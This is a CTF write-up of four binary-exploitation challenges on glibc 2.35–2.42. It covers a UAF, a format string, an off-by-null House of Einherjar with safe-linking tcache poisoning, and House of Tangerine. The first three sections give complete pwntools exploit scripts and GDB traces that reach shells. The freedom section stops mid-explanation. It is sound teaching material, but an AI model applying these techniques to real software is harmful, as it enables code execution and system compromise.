Summary
Writeups for the four pwn challenges from CyberTEK 3.0.
Targets ranged across glibc 2.35, 2.39 and 2.42:
- mataha (glibc 2.35): dangling-slot UAF.
deleteonly frees the data buffer, so the next allocation overlaps the metadata of a still-live slot. Pivot the overlap into hijacking a function pointer in the Note struct. - FSB (glibc 2.39): 14-byte format string with only 8 takes. No room for stack-typed addresses, so we chain
%hnwrites through pointers already living on the stack, and partially overwrite saved RIP into a one_gadget. - 7ar9a (glibc 2.42): off-by-null. The NUL is written at
data[size]instead ofdata[n], clobbering the next chunk'sPREV_INUSE. House of Einherjar style backward consolidation, then safe-linking aware tcache poisoning into a global function pointer. - freedom (glibc 2.39): heap challenge with no
freeever called. Solved with House of Tangerine (manufacturing freed chunks out ofmalloc's top-chunk trimming during re-edits) for libc + heap leaks, then FSOP on_IO_2_1_stdout_to detourexit's flush intosystem("A;sh").
mataha
"1) add 2) del 3) edit 4) run 5) exit"
A 16-slot note manager (glibc 2.35) with add / delete / edit / run operations.
Each note carries its own function pointer that gets called by run.
The bug is a textbook dangling-slot UAF caused by delete only freeing the data buffer, leaving a stale pointer where it can collide with a fresh allocation's metadata.
Analysis
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
There is a win() function at 0x401384 that reads flag.txt and prints it.
Since PIE is off, &win is a fixed value we can plant directly.
The Note Layout
add_note allocates a 24-byte struct and a separate data buffer:
v3 = malloc(0x18u);
*(_QWORD *)v3 = size; // +0x00: size
*((_QWORD *)v3 + 1) = default_op; // +0x08: fn pointer
*((_QWORD *)v3 + 2) = malloc(size); // +0x10: data buffer
read(0, *((void **)v3 + 2), size);
slots[i] = v3;
So a note is:
struct Note {
size_t size; // +0x00
void (*fn)(struct Note *); // +0x08, default = default_op
char *data; // +0x10
};
size is bounded by size > 23 && size <= 1024.run_note does the indirect call:
(*(void (__fastcall **)(_QWORD))(slots[idx] + 8LL))(slots[idx]);
edit_note does read(0, slots[idx]->data, slots[idx]->size).
And delete_note is the bug:
unsigned __int64 delete_note() {
int idx = read_idx();
if ( idx >= 0 )
free(*(void **)(slots[idx] + 16LL)); // free(note->data) only
}
It only frees note->data.
The Note struct itself is never freed, the slot is never NULLed, and slots[idx] keeps pointing at a live Note whose data field is now dangling.
Exploitation
The Collision
Both the Note metadata and a data buffer requested with size = 0x18 come from tcache bin 0x20.
If we:
add(0x18, "A"): slot 0: allocatesNote0(fresh) anddata0(a 0x20 chunk). Tcache state stays empty.delete(0): freesdata0only.slots[0]still points atNote0, andNote0->datastill points at the freeddata0. tcache[0x20] now has one chunk.add(0x18, "A"): slot 1: the firstmalloc(0x18)for the newNotemetadata pops the freeddata0from tcache.Note1now lives inside the chunk thatNote0->datastill points to.
After step 3, slots[0]->data == &Note1 (overlapping).
Editing slot 0 lets us write directly into Note1's size, fn, and data fields.
Walking Through It in GDB
Break right after the second add and dump the slot table:
pwndbg> b *add_note+0x183
pwndbg> r
... (1) add(0x18,'A') -> slot 0
... (2) del(0)
... (1) add(0x18,'A') -> slot 1, breakpoint hits
pwndbg> x/4gx &slots
0x404060 <slots>: 0x00005555555592a0 0x0000000000000000
0x404070 <slots+16>: 0x00005555555592e0 0x0000000000000000
^ ^
slots[0] (Note0) slots[1] (Note1)
pwndbg> x/3gx 0x00005555555592a0 # Note0
0x5555555592a0: 0x0000000000000018 0x000000000040144d <- size, fn=default_op
0x5555555592b0: 0x00005555555592e0 <- data == &Note1 !!
pwndbg> x/3gx 0x00005555555592e0 # Note1 (chunk reused from freed data0)
0x5555555592e0: 0x0000000000000018 0x000000000040144d <- size, fn=default_op
0x5555555592f0: 0x0000555555559300 <- data1 (fresh)
Note0->data and &Note1 are the same address.
Now edit(0, p64(0x18) + p64(win) + p64(0)) rewrites Note1 in place:
pwndbg> c
... edit(0, p64(0x18)+p64(win)+p64(0))
... breakpoint after edit returns
pwndbg> x/3gx 0x00005555555592e0
0x5555555592e0: 0x0000000000000018 0x0000000000401384 <- fn = win
0x5555555592f0: 0x0000000000000000
pwndbg> p &win
$1 = (<text variable, no debug info> *) 0x401384 <win>
run(1) then dispatches slots[1]->fn(slots[1]) → win(...):
pwndbg> b *run_note+0x60 # the indirect call site
pwndbg> c
... run(1)
pwndbg> x/i $rip
=> 0x4018a9 <run_note+96>: call rdx
pwndbg> p/x $rdx
$2 = 0x401384 <- win
pwndbg> ni
... opens flag.txt and prints it
Hijack
edit(0, p64(0x18) + p64(elf.sym.win) + p64(0))
run(1)
edit(0, ...) writes through Note0->data, overwriting Note1 so that Note1.fn = win.run(1) then invokes slots[1]->fn(slots[1]), i.e.win(Note1).win ignores its argument and prints the flag.
Exploit Code
from pwn import *
elf = context.binary = ELF('./main')
io = remote('challenges.securinets.com', 30986) if args.REMOTE else process()
def add(size, data):
io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b'size: ')
io.sendline(str(size).encode())
io.recvuntil(b'data: ')
io.sendline(data)
def delete(idx):
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b'idx: ')
io.sendline(str(idx).encode())
def edit(idx, data):
io.recvuntil(b'> ')
io.sendline(b'3')
io.recvuntil(b'idx: ')
io.sendline(str(idx).encode())
io.recvuntil(b'data: ')
io.sendline(data)
def run(idx):
io.recvuntil(b'> ')
io.sendline(b'4')
io.recvuntil(b'idx: ')
io.sendline(str(idx).encode())
add(0x18, b'A') # slot 0
delete(0) # free data0 (dangling Note0->data)
add(0x18, b'A') # slot 1: Note1 reuses freed data0
edit(0, p64(0x18) + p64(elf.sym.win) + p64(0)) # rewrite Note1.fn = win
run(1) # win(slot[1])
io.interactive()
FSB
"Open Mic. You have 8 takes. Type 'leave' to exit early."
A 14-byte format string vulnerability with eight invocations.
The buffer is too small to set up arbitrary write in a single shot, so the exploit splits the work across multiple turns: leak first, then prime an existing stack pointer via %hn, then use the now-controlled pointer as a destination for two more %hn writes that progressively overwrite the saved RIP with a one_gadget.
Analysis
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
glibc 2.39.
Main is short:
v4 = 8;
while ( v4 > 0 )
{
printf("\nTake %d/8\nmic> ", 9 - v4);
if ( !fgets(s, 15, stdin) )
return 0;
s[strcspn(s, "\n")] = 0;
if ( !strcmp(s, "leave") )
break;
printf("speaker: ");
printf(s); // <-- format string bug
putchar(10);
--v4;
}
s is char s[15] on the stack, and fgets(s, 15, stdin) caps each input at 14 chars + NUL.
That budget rules out the usual %<N>c%<n>$hn write because just the address takes 8 bytes, so we have to do everything via positional arguments already living on the stack.
Partial RELRO would normally let us GOT-overwrite, but the byte budget is too tight: the format-string ABI consumes positional args from the stack, and we don't have room to push our own address word.
The cleaner target is the saved RIP itself: same number of bytes to clobber, and we already have stack pointers sitting on the stack we can borrow.
The Stack Layout
Before picking which positional args to use, I broke at the printf(buf) call inside main and dumped the printf frame.
Recall the SysV calling convention: RDI = fmt, RSI/RDX/RCX/R8/R9 = args 1–5, then args 6+ live on the stack starting at [rsp+0].
Here's what was sitting on the stack the first time we hit printf(buf) (with each pointer dereferenced one level so you can see what it points at):
=== printf(buf) #1, rsp=0x7fffe3a80c20, fmt='%p,%11$p.' ===
[rsp+0x00] = 0x0000000800000000 %6$p
[rsp+0x08] = 0x243131252c7025f0 %7$p <- our buf, "%p,%11$" reversed
[rsp+0x10] = 0x00007fff00002e70 %8$p -> <unmapped>
[rsp+0x18] = 0x86bdb05ddd186500 %9$p <- stack canary (random; high byte = 0)
[rsp+0x20] = 0x00007fffe3a80ce0 %10$p -> 0x00007fffe3a80d40 <- KEY: see below
[rsp+0x28] = 0x00007fb76222a1ca %11$p -> <libc .text bytes> <- libc anchor (__libc_start_call_main+0x2a1ca)
[rsp+0x30] = 0x00007fffe3a80c90 %12$p -> 0x000055af07b0ddd8
[rsp+0x38] = 0x00007fffe3a80d68 %13$p -> 0x00007fffe3a8138b <- benign stack ptr (cleanup target)
[rsp+0x40] = 0x0000000107b0a040 %14$p
[rsp+0x48] = 0x000055af07b0b206 %15$p -> 0x20ec8348e5894855 <- main+0x... (return addr-like)
...
[rsp+0xc0] = 0x00007fffe3a80d40 %30$p -> 0x0000000000000000
Look at the two stars of the show, %10$p and %30$p:
%10$plives atrsp+0x20and its value is0x7fffe3a80ce0.%30$plives atrsp+0xc0and its value is0x7fffe3a80d40.
Now compute: rsp + 0xc0 == 0x7fffe3a80c20 + 0xc0 == 0x7fffe3a80ce0. That's exactly the value of %10$p.
In other words, %10$p points at the storage cell of %30$p.
That's the trick the exploit hinges on:
%10$hnwrites 2 bytes at the address that%10$pholds (rsp+0xc0, i.e. the cell where%30$pis stored).
So %10$hn lets us modify the value of %30$p on the next conversion.
%30$hnthen writes 2 bytes at that new%30$pvalue.
Chain those and we have an arbitrary 32-bit write: %10$hn aims %30$p at saved_rip, then %30$hn lays down the gadget's lower 16 bits, repeat shifted by 2 for the next halfword.
The other anchor we need is libc:
%11$p = 0x7fb76222a1cais__libc_start_call_main+0x2a1ca. Subtracting0x2a1cagives libc base.
So the first shot leaks both at once and offsets %10$p by a constant 0x1d8 to land on saved_rip:
fmt(b'%p,%11$p.')
stack = int(io.recvuntil(b',')[:-1], 16) + 0x1d8 # %p reads RSI which == %10$p here
libc.address = int(io.recvuntil(b'.')[:-1], 16) - 0x2a1ca
(Aside: %p with no positional consumes the next vararg, which is RSI. RSI happened to carry a stack pointer left over from the preceding printf("speaker: "), and on this frame it equals %10$p. That's why the script can use %p instead of %10$p and still get the same value. The +0x1d8 offset is the gap between %10$p and the saved-RIP slot, which I found by dumping the stack once and subtracting.)
Picking the One Gadget
$ one_gadget ./libc.so.6
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
... (same constraints, slightly different)
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
...
The two execve gadgets need a coherent argv to be sitting at rbp-0x50 and r12/[r12] to be a valid envp, neither holds at main's ret.
The two posix_spawn gadgets only care about rsp-relative state plus rax/rbx/rcx.
I went with 0x583ec.
Pointer Chain on the Stack
The exploit relies on positional argument 10 being a pointer into the same printf frame, and positional argument 30 being... whatever 10 points to (i.e., an indirect %hn target).
The plan:
- Prime arg 10 so it points at the low half of the saved RIP.
- Use arg 30 (
%30$hn) to write the low 16 bits of the gadget into that location. - Re-prime arg 10 to point at saved RIP
+ 2. - Use arg 30 again to write the next 16 bits.
- Finally,
%13$hntriggers a closing write that lands cleanly to keep the stack consistent.
Since the gadget shares its high 32 bits with the original return address (both inside libc), only the lower 32 bits actually need to change, so two %hn writes are enough.
Exploitation
The Six-Shot Sequence
We have 8 takes; we use 6:
# 1. leak: a stack pointer (to compute the saved-RIP slot) + a libc anchor
fmt(b'%p,%11$p.')
# 2. arg 10 := saved_rip
payload = f'%{stack & 0xffff}c%10$hn'.encode()
fmt(payload)
# 3. write low 16 bits of gadget through arg 30 (which now points at saved_rip)
payload = f'%{gadget & 0xffff}c%30$hn'.encode()
fmt(payload)
# 4. arg 10 := saved_rip + 2 (advance 2 bytes for the next halfword)
payload = f'%{(stack + 2) & 0xffff}c%10$hn'.encode()
fmt(payload)
# 5. write the next 16 bits
payload = f'%{(gadget >> 16) & 0xffff}c%30$hn'.encode()
fmt(payload)
# 6. throwaway write to keep printf's positional accounting clean
fmt(b'%13$hn')
Each payload comfortably fits the 14-byte cap because %65535c is at most 7 bytes and the directives are short.
The high 32 bits of saved RIP and the gadget are identical (both inside libc), so two %hn writes is all we need.
After the loop completes (or you type leave), main returns into the gadget and a shell pops.
Verifying the Constraints Actually Hold
Hand-waving "the constraints usually hold at a function epilogue" is the kind of thing that bites you when a CTF clock is ticking.
I attached GDB to the running exploit, set a breakpoint at 0x583ec, and dumped state the moment the gadget fires (right after main's ret):
@GADGET
rsp = 0x7ffe31262b10
rsp & 0xf = 0x0
rax = 0x0
rbx = 0x7ffe31262c28
(u16)[rbx]= 0x0
rcx = 0x7fc20e51c5a4
r12 = 0x1
*(rsp+0x68) = 0x0 (stack page, writable)
Walking the four constraints:
rsp & 0xf == 0✓:0x7ffe31262b10 & 0xf == 0.__libc_start_call_maincallsmainwith a 16-aligned stack; afterleave; ret, the stack pops back to the same alignment.rsp+0x68writable ✓:rspis0x...b10and+0x68lands at0x...b78, well inside the stack mapping. The dereference returns 0 (writable scratch).rax == NULL(soargvcheck is bypassed) ✓: look at the disassembly ofmain's prologue:xor eax, eaxatmain+0x17followed bymovl $0x8, -0x1c(%rbp). After the loop, the success path jumps to1324: mov $0x0, %eaxbeforeleave; ret. Soraxis guaranteed zero at the gadget.rbx == NULLor(u16)[rbx] == 0✓:rbxis non-NULL, but it points at0x7ffe31262c28, where the first word is0. That's theargv[argc] == NULLterminator that the SysV AMD64 ABI guarantees on the stack near the start of the program. So the alternate clause holds.
All four pass, and posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) runs without surprises.
GDB Walkthrough of the Pointer Math
Attach right before the printf(buf) and inspect what argument 10 actually is:
pwndbg> b *main+0x8a # right before printf(buf)
pwndbg> r
mic> %p,%11$p.
pwndbg> c
... breakpoint hits
Look at the printf varargs as they sit on the stack (RDI/RSI/... then the stack):
pwndbg> x/40gx $rsp
0x7fffffffd6a0: 0x00007ffff7fac903 0x0000000000000000 ; arg 1, 2
0x7fffffffd6b0: 0x00007ffff7d3c887 0x000055555555521e ; arg 3, 4
...
0x7fffffffd6f0: <varies> <varies>
^ arg 10 lives here on this frame
pwndbg> p/x *(unsigned long*)($rsp + 8*9)
$1 = 0x7fffffffd7a8 ; arg 10 = pointer somewhere on stack
pwndbg> info frame
Stack frame at 0x7fffffffd750:
saved rip = 0x7ffff7d3c887 in __libc_start_call_main
...
pwndbg> p/x &saved_rip
$2 = 0x7fffffffd748
So arg10 is already a stack pointer near the saved-RIP slot.
The exploit's +0x1d8 offset on the leaked %p is just the constant gap between the leaked stack value and the saved RIP.
Once primed:
mic> %43432c%10$hn ; (stack & 0xffff) padding chars, write low 16 bits
; into the location arg10 currently points at
After this shot, in GDB:
pwndbg> x/2gx 0x7fffffffd7a8
0x7fffffffd7a8: 0x00007fffffffd748 0x... (other stack)
^ arg10 now points exactly at saved_rip
Next two shots overwrite *(arg10) = gadget_low16 and then *(arg10+2) = gadget_mid16:
pwndbg> x/gx 0x7fffffffd748 ; saved_rip slot
Before: 0x00007ffff7d3c887 ; __libc_start_call_main+...
After 1: 0x00007ffff7d383ec ; low 16 bits patched
After 2: 0x00007ffff7e283ec ; mid 16 bits patched -> one_gadget
The %13$hn final shot keeps printf's positional accounting consistent so the loop returns cleanly.
When main finally ret-s, rip lands inside libc at libc.address + 0x583ec, which is the posix_spawn(rsp+0xc, "/bin/sh", 0, ...) gadget covered above.
Exploit Code
from pwn import *
elf = context.binary = ELF('./main')
libc = elf.libc
io = remote('challenges.securinets.com', 31684) if args.REMOTE else process()
def fmt(payload):
io.recvuntil(b'mic> ')
io.sendline(payload)
io.recvuntil(b'speaker: ')
# leak
fmt(b'%p,%11$p.')
stack = int(io.recvuntil(b',')[:-1], 16) + 0x1d8
libc.address = int(io.recvuntil(b'.')[:-1], 16) - 0x2a1ca
gadget = libc.address + 0x583ec
log.success(f'stack 0x{stack:x}')
log.success(f'libc 0x{libc.address:x}')
# arg 10 -> saved_rip
fmt(f'%{stack & 0xffff}c%10$hn'.encode())
# write low half of gadget
fmt(f'%{gadget & 0xffff}c%30$hn'.encode())
# arg 10 -> saved_rip + 2
fmt(f'%{(stack + 2) & 0xffff}c%10$hn'.encode())
# write next 16 bits
fmt(f'%{(gadget >> 16) & 0xffff}c%30$hn'.encode())
# trigger
fmt(b'%13$hn')
io.interactive()
7ar9a
"Odin sends his ravens. The hall of the slain awaits."
A Viking-themed note manager (glibc 2.42) with forge / inscribe / read / burn and a menu option 5 ("depart") that calls a global function pointer epilogue.
The bug is an off-by-null in inscribe: a NUL is written one byte past the user-allocated region, into the next chunk's size field.
We pivot that into a House of Einherjar style overlap, leak both libc and heap, then use safe-linking-aware tcache poisoning to plant system into epilogue.
Analysis
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
PIE is off, so the notes[] array and the epilogue function pointer (0x404160) sit at fixed addresses.
The Off-by-Null
inscribe reads exactly notes[i].size bytes into the chunk, then writes a NUL one byte past the buffer:
if ( read(0, notes[i].ptr, notes[i].size) >= 0 )
notes[i].ptr[notes[i].size] = 0;
The NUL is unconditionally placed at ptr[size], which is one byte past the end of the user buffer.
A safe terminator would land at ptr[n-1] (where n is the actual read return), or be skipped entirely when the read filled the whole buffer.
Since size matches the malloc request exactly, that out-of-bounds write lands on the first byte of the next chunk's size field, zeroing its PREV_INUSE bit (and possibly more, if the size's low byte has trailing zeros).
The Win Sink
Menu option 5 reads last_words and calls epilogue if it's non-NULL:
case 5LL:
printf("last words? ");
if ( !fgets(last_words, 64, stdin) )
return 0;
last_words[strcspn(last_words, "\n")] = 0;
puts("the gates of Valhalla close behind you.");
if ( epilogue )
epilogue(last_words);
return 0;
epilogue is a writable global function pointer at 0x404160 (no PIE).
If we can plant system there and pass /bin/sh as the last words, option 5 shells.
The notes array sits next door at 0x404060.
Size Constraints
forge enforces s > 23 && s <= 2048 (i.e. 0x18 <= size <= 0x800).
That covers tcache plus the unsorted-bin range.
Tcache on glibc 2.42 caps at chunk size 0x410, so a request like 0x6f8 produces a 0x700 chunk that lands in the unsorted bin when freed, which is what we want for a libc leak.
One small constraint on size choice: when the off-by-null fires later, it'll clobber the LSB of the next chunk's size field with \x00.
For glibc to still see a consistent size after that clobber, the chunk's size LSB needs to be just the PREV_INUSE bit (0x01).
That means the chunk size must be a multiple of 0x100 (e.g. 0x500, 0x600, 0x700).
I went with 0x6f8 request → 0x700 chunk → size field 0x701 → off-by-null leaves 0x700, matching the real chunk size.
Exploitation
Step 1 : libc Leak via Unsorted Bin
forge(0, 0x6f8) # 0x700 chunk, too big for tcache (cap 0x410)
forge(1, 0x18) # guard against top-chunk consolidation
burn(0) # frees chunk 0 into the unsorted bin
forge(0, 0x6f8) # re-allocate the same chunk; first 8 bytes still hold main_arena ptr
libc.address = u64(read_note(0, 8)) - 0x234b20
malloc doesn't zero memory, so the unsorted-bin fd (a main_arena+offset pointer) glibc wrote into the chunk when we freed it survives the re-allocation.read_note (option 3) just write(1, ptr, size)s those bytes back to us.
Step 2 : Heap Leak via Safe-Linking
Same trick with a tcache-sized chunk:
forge(2, 0xa8) # 0xb0 chunk, lands in tcache when freed
burn(2)
forge(2, 0xa8)
heap_base = u64(read_note(2, 8)) << 12
The freed chunk's first qword is the safe-linked fd.
For the first entry in a tcache bin, fd = (chunk_addr >> 12) ^ NULL, so shifting left by 12 reconstructs a heap page address.
Step 3 : Off-by-Null Overlap
Classic House of Einherjar.
Arrange three contiguous chunks (3, 4, and a guard 5) and forge a fake free-chunk header inside chunk 3.
The challenge prints the chunk address from forge (forged note %d (%zu bytes) at %p), so we can capture it directly instead of carrying hard-coded offsets:
victim_user = forge(3, 0x6f8) # fake-chunk anchor (chunk 3 user)
neighbour = forge(4, 0x6f8) # the chunk we'll burn
forge(5, 0x18) # top-chunk guard
# Distance from our forged header to chunk 4's *header* (= neighbour - 0x10).
forged_size = neighbour - 0x10 - victim_user # 0x6f0
forged_header = p64(0) + p64(forged_size) # prev_size, size (PREV_INUSE clear)
forged_header += p64(victim_user) * 2 # fwd/bk = self (passes unlink check)
forged_header = forged_header.ljust(forged_size, b'\x00')
forged_header += p64(forged_size) # trailing prev_size for chunk 4
inscribe(3, forged_header) # the off-by-null NUL clears
# PREV_INUSE on chunk 4
burn(4) # backward consolidation hops
# back into the forged header
What happens on burn(4):
- The off-by-null at
chunk_3.ptr[size](wheresize = 0x6f8) wrote\x00onto the LSB of chunk 4's size field.
Chunk 4's stored size went from 0x701 (PREV_INUSE) to 0x700 (PREV_INUSE clear).
_int_freesees PREV_INUSE clear, so it consolidates backward.
It reads chunk_4.prev_size = 0x6f0 (the trailing qword we wrote), computes prev_chunk = chunk_4_addr - 0x6f0 = victim_user, and treats that as a free chunk.
- Glibc unlink checks (
p->fd->bk == p && p->bk->fd == p) pass because our forgedfd = bk = victim_usermakes both equalvictim_user. - The fake chunk (size
0x6f0) merges with chunk 4 (size0x700) into one0xdf0chunk, sitting on top of memory we still have a write primitive into viainscribe(3, …).
Step 4 : Tcache Poisoning into epilogue
Carve two 0xb0 chunks out of the overlap, free them to seed tcache[0xb0], then use the overlap-write to point one tcache entry's fd at &epilogue:
forge(6, 0xa8)
slot7_user = forge(7, 0xa8)
burn(6); burn(7) # tcache[0xb0] = [7, 6]
# Safe-linking: stored fd at slot7_user must decode to &epilogue.
poisoned_fd = (slot7_user >> 12) ^ elf.sym.epilogue
# Overlap-write through chunk 3 to clobber slot 7's fd.
overlap_off = slot7_user - victim_user # exactly 0xc0 with these sizes
overflow = b'A' * overlap_off + p64(poisoned_fd)
inscribe(3, overflow.ljust(0x6f8, b'\x00'))
forge(8, 0xa8) # pops slot 7 (head) - normal chunk
forge(9, 0xa8) # pops our poisoned entry: notes[9].ptr == &epilogue
inscribe(9, p64(libc.sym.system)) # epilogue = system
Step 5 : Pop a Shell
depart() # menu option 5
io.recvuntil(b'last words? ')
io.sendline(b'/bin/sh') # becomes the rdi for system()
Option 5 reads last_words, sees epilogue != NULL, and calls system("/bin/sh").
GDB Tour
Useful breakpoints:
pwndbg> b *forge+0xed # right after malloc returns
pwndbg> b *burn+0x6a # right after free
pwndbg> b *main+0x119 # the indirect call to epilogue
A clean run gives, for example:
libc 0x7f257d400000
heap_base 0x05eb1000
victim_user= 0x05eb1af0 <- chunk 3 user (fake-chunk anchor)
neighbour = 0x05eb21f0 <- chunk 4 user (delta 0x700)
forged_size= 0x6f0
slot7_user= 0x05eb1bb0 <- chunk 7 user (delta 0xc0 from victim_user)
After step 1 (libc leak):
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5eb1000 Size: 0xaf0 (top deduction / startup chunks)
Allocated chunk | PREV_INUSE
Addr: 0x5eb1af0 Size: 0x700 <- chunk 0 (re-allocated from unsorted)
Allocated chunk | PREV_INUSE
Addr: 0x5eb21f0 Size: 0x20 <- chunk 1 (guard)
...
pwndbg> x/2gx 0x5eb1b00 ; user of re-allocated chunk 0
0x5eb1b00: 0x00007f257d634b20 0x00007f257d634b20
^ main_arena+96 -> libc base = leak - 0x234b20
After step 2 (heap leak):
pwndbg> bins
tcachebins
0xb0 [ 1]: 0x... ; chunk 2 freed once
pwndbg> x/gx <chunk2_user>
0x...: 0x000000000005eb1 ; safe-linked fd; first entry => fd = chunk_addr >> 12
pwndbg> p/x 0x5eb1 << 12
$1 = 0x5eb1000 ; heap_base
After step 3, right before burn(4):
pwndbg> x/4gx 0x05eb1af0 + 0x6f0 ; trailing prev_size + chunk 4 header
0x5eb21e0: 0x00000000000006f0 0x0000000000000700 <- prev_size (0x6f0), chunk 4 size byte
clobbered from 0x701 to 0x700
(PREV_INUSE cleared)
After burn(4):
pwndbg> bins
unsortedbin
all: 0x5eb1ae0 ... (size 0xdf0) <- consolidated overlap (0x6f0 + 0x700)
After step 4 (tcache poison + reclaim into &epilogue):
pwndbg> p/x &epilogue
$2 = 0x404160
pwndbg> x/gx &epilogue
0x404160: 0x00007f257d4583b0 <- system, planted by inscribe(9, p64(system))
Step 5: at the indirect call inside main's case 5:
pwndbg> x/i $rip
=> 0x4018e6 <main+311>: call rdx
pwndbg> p/x $rdx
$3 = 0x7f257d4583b0 <- system
pwndbg> x/s $rdi
0x...: "/bin/sh"
call rdx is system("/bin/sh") and we land in a shell.
Exploit Code
from pwn import *
elf = context.binary = ELF('./main')
libc = elf.libc
io = remote('challenges.securinets.com', 30950) if args.REMOTE else process()
def menu(choice):
io.recvuntil(b'> ')
io.sendline(str(choice).encode())
def forge(idx, sz):
menu(1)
io.recvuntil(b'idx: ')
io.sendline(str(idx).encode())
io.recvuntil(b'size: ')
io.sendline(str(sz).encode())
line = io.recvline()
return int(line.decode().rsplit('at ', 1)[1].strip(), 16) # chunk user addr
def inscribe(idx, data):
menu(2)
io.recvuntil(b'idx: ')
io.sendline(str(idx).encode())
io.recvuntil(b'inscription: ')
io.send(data)
def read_note(idx, sz):
menu(3)
io.recvuntil(b'idx: ')
io.sendline(str(idx).encode())
return io.recvn(sz)
def burn(idx):
menu(4)
io.recvuntil(b'idx: ')
io.sendline(str(idx).encode())
def depart():
menu(5)
# --- libc leak via unsorted bin ---
forge(0, 0x6f8)
forge(1, 0x18)
burn(0)
forge(0, 0x6f8)
libc.address = u64(read_note(0, 8)) - 0x234b20
# --- heap leak via safe-linking ---
forge(2, 0xa8); burn(2); forge(2, 0xa8)
heap_base = u64(read_note(2, 8)) << 12
# --- off-by-null overlap ---
victim_user = forge(3, 0x6f8) # forged-chunk anchor
neighbour = forge(4, 0x6f8) # the chunk we burn
forge(5, 0x18) # top-chunk guard
forged_size = neighbour - 0x10 - victim_user # 0x6f0
forged_header = p64(0) + p64(forged_size) + p64(victim_user) * 2
forged_header = forged_header.ljust(forged_size, b'\x00')
forged_header += p64(forged_size)
inscribe(3, forged_header)
burn(4)
# --- tcache poisoning into &epilogue ---
forge(6, 0xa8)
slot7_user = forge(7, 0xa8)
burn(6); burn(7) # tcache[0xb0] = [7, 6]
poisoned_fd = (slot7_user >> 12) ^ elf.sym.epilogue
overlap_off = slot7_user - victim_user
overflow = b'A' * overlap_off + p64(poisoned_fd)
inscribe(3, overflow.ljust(0x6f8, b'\x00'))
forge(8, 0xa8)
forge(9, 0xa8) # notes[9].ptr == &epilogue
inscribe(9, p64(libc.sym.system))
# --- shell ---
depart()
io.recvuntil(b'last words? ')
io.sendline(b'/bin/sh')
io.interactive()
freedom
"Draft Manager"
A 20-slot draft editor on glibc 2.39 that allocates buffers with malloc and never calls free.
The bug is in edit_draft: the user picks a "revision size" that's used as the read length, but the underlying buffer keeps its original allocation size.
So if you create a 0x24-byte slot and then edit it with size = 0x64, you get a clean 0x40-byte heap overflow into whatever lives next door.
Without free, classic tcache attacks are off the table, so the path is House of Tangerine: manufacture freed chunks out of malloc's own internal trimming + the overflow's ability to forge fake size fields, then end with FSOP on _IO_2_1_stdout_ to detour exit's flush into a system("A;sh") call.
Analysis
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
objdump | grep '<.*plt>' confirms the binary's import table contains malloc, memcpy, read, etc., but no free.
The four menu options:
create(option 1): if the slot is empty,malloc(size), store both the pointer and the size in a globaldrafts[]table, zero the buffer, thenread_textcontent into it.0 < size <= 4095.edit(option 2): the bug. Reads a fresh "revision size" from the user, then doesread(0, drafts[i].ptr, revision_size). The slot's stored size is never updated, the buffer is never re-allocated. Pure overflow primitive: ask for any size up to0xfff, write that many bytes into a buffer that may only be a fraction of that.view(option 3):write(1, drafts[i].ptr, drafts[i].size). Always uses the original stored size. Means the leak primitive is bounded by the create-time size, but that's fine since we just need 8 bytes for a leak.exit(option 4): justreturn 0fromvuln, falls through tomain's return, then__libc_start_call_mainruns__run_exit_handlers, which eventually hits_IO_flush_all_lockp. That's the FSOP sink: any FILE struct whose_IO_write_ptr > _IO_write_basegets_IO_OVERFLOW'd, and we control the vtable lookup if we can hijack a real FILE on the libc list.
One more useful detail from init_error_journal_once: the binary unconditionally malloc(0x20)s a "startup_journal" object before entering vuln.
That gives us a known heap chunk sitting right above whatever we allocate ourselves, which matters for the layout we set up in House of Tangerine.
House of Tangerine
House of Tangerine doesn't need free: it gets free chunks manufactured by malloc itself.
Here's the rough idea: when an edit overflow plants a fake size field on a chunk that's adjacent to the top chunk, a subsequent create (a large malloc) walks the heap, treats the forged metadata as legitimate, and ends up linking that region into a free bin (tcache or unsorted, depending on the size we forged).
After that, the chunk we control still overlaps the "free" region, so a later create re-allocates from the same bytes and we read out whatever fd/bk glibc stamped while the chunk was on a free list.
By scripting a sequence of large create/edit requests with carefully chosen sizes, we can:
- Force the allocator to slice the heap into a fragment that looks like an unsorted-bin chunk
- Get that fragment linked into the unsorted/tcache lists
- Realloc it back, leaving stale
fd/bkpointers visible (libc + heap leak) - Eventually obtain overlapping chunks to corrupt a real
FILE*slot
The exploit uses two "guard + victim" arrangements, one for each leak:
# === stage 1: shape the heap so a residual lands in unsorted ===
create(0, 0xc1c, b'A' * 0x10) # large initial alloc, top trim
create(1, 0x24, b'B' * 0x10) # small victim
edit (1, 0x64, b'C' * 0x20 + p64(0) + p64(0xe1)) # forge size 0xe1 past slot 1
create(3, 0xeb0, b'D' * 0x10) # carve again, residual hits unsorted
create(4, 0x50, b'E' * 0x10)
edit (4, 0x64, b'F' * 0x50 + p64(0) + p64(0xe1))
create(5, 0xfa, b'G' * 0x10) # locks in the layout
# slot 1 now overlaps a freed unsorted chunk -> view leaks the safe-linked fd
edit(1, 0x64, b'H' * 0x2f)
view(1)
mangle_key = u64(io.recvline()[:-1].ljust(8, b'\x00')) # heap_addr >> 12
tcache_pool = mangle_key << 12 # tcache management struct
seed = mangle_key + 0x21 # safe-link seed
Then the second iteration leaks libc, by making the residual large enough to reach the unsorted bin and stamp a main_arena pointer:
